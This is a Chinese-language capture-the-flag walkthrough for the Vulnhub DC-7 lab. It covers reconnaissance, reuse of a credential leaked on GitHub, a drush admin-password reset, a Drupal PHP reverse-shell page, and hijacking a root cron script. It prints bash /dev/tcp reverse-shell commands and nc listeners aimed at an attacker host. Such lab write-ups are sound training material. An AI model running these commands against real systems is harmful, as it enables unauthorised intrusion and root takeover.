1. DC-7靶机环境搭建与基础配置
DC-7是Vulnhub平台上经典的渗透测试靶机之一,设计初衷是帮助学习者掌握非暴力破解的信息收集技巧和提权方法。这个靶机采用Drupal内容管理系统构建,特别考验渗透测试人员对开源系统漏洞利用和权限提升的综合能力。
首先需要从Vulnhub官网下载DC-7的OVA镜像文件。下载完成后,建议使用VMware Workstation或VirtualBox导入虚拟机。我测试时使用的是VMware 16.2版本,导入过程很顺利。网络配置推荐使用NAT模式,这样靶机会自动获取IP地址,避免手动配置的麻烦。如果使用桥接模式,需要注意确保攻击机和靶机在同一网段。
启动靶机后,你会看到一个典型的Linux登录界面。这里不需要进行任何登录操作,因为我们后续要通过网络渗透来获取访问权限。通过arp-scan或netdiscover工具可以快速定位靶机IP。在我的测试环境中,靶机IP自动分配为192.168.31.134,你的环境中可能会有所不同。
2. 信息收集与漏洞发现
信息收集是渗透测试最关键的阶段。我首先使用nmap进行全端口扫描,命令如下:
nmap -sS -p- -T4 192.168.31.134扫描结果显示靶机开放了22(SSH)和80(HTTP)两个端口。接着使用更详细的版本探测命令:
nmap -sV -sC -O -p22,80 192.168.31.134从扫描结果可以确认Web服务器是Apache 2.4.25,运行在Debian系统上,网站使用的是Drupal 8.3.7。访问网站首页,页面底部有一个不起眼的"@DC7USER"提示,这将成为我们突破的关键线索。
使用dirsearch进行目录扫描:
python3 dirsearch.py -u http://192.168.31.134 -e php,html,txt扫描发现了/user/login登录页面和/robots.txt文件,但常规路径都没有发现明显漏洞。这时需要关注之前发现的"@DC7USER"提示,在GitHub搜索这个用户名,果然找到了一个与靶机相关的代码仓库。
3. GitHub信息泄露利用
在DC7USER的GitHub仓库中,发现了一个包含数据库配置的config.php文件,其中明文存储了数据库凭据:
$db_url = 'mysql://dc7user:MdR3xOgB7#dW@localhost/drupal';尝试使用这些凭据通过SSH登录靶机:
ssh dc7user@192.168.31.134输入密码"MdR3xOgB7#dW"后成功获取了初始shell访问权限。进入系统后查看/home/dc7user目录,发现mbox邮件文件,其中包含重要信息:
cat /var/mail/dc7user邮件显示有一个定时任务以root权限定期执行/opt/scripts/backups.sh脚本。
4. Drush命令利用与Web权限提升
检查/opt/scripts/backups.sh脚本内容:
#!/bin/bash rm /home/dc7user/backups/* cd /var/www/html drush sql-dump --result-file=/home/dc7user/backups/website.sql cd .. tar -czf /home/dc7user/backups/website.tar.gz html/ gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz chown dc7user:dc7user /home/dc7user/backups/* rm /home/dc7user/backups/website.sql rm /home/dc7user/backups/website.tar.gz发现脚本使用了drush命令,这是Drupal的管理工具。我们可以利用它修改管理员密码:
cd /var/www/html drush user-password admin --password="newpassword"然后通过Web界面使用admin/newpassword登录Drupal后台。在后台需要安装PHP Filter模块才能执行PHP代码。从Drupal官网下载php-8.x-1.0.tar.gz,在"Extend"页面安装并启用这个模块。
5. 定时任务提权获取Root权限
在Drupal后台创建新的Basic Page,内容为PHP反弹shell代码:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.128/4444 0>&1'"); ?>在Kali上启动监听:
nc -lvnp 4444获取到www-data用户的shell后,升级为交互式终端:
python3 -c 'import pty; pty.spawn("/bin/bash")'由于/opt/scripts/backups.sh脚本属于www-data组,我们可以修改它来获取root权限:
echo 'bash -i >& /dev/tcp/192.168.31.128/5555 0>&1' >> /opt/scripts/backups.sh在Kali上启动另一个监听端口:
nc -lvnp 5555等待定时任务执行(约15分钟)后,就能获得root权限的shell。最后在/root目录下可以找到flag文件:
cat /root/theflag.txt整个渗透过程中,最关键的是发现GitHub信息泄露和利用drush命令这两个非传统攻击路径。这种"跳出盒子"的思维方式在实际渗透测试中尤为重要。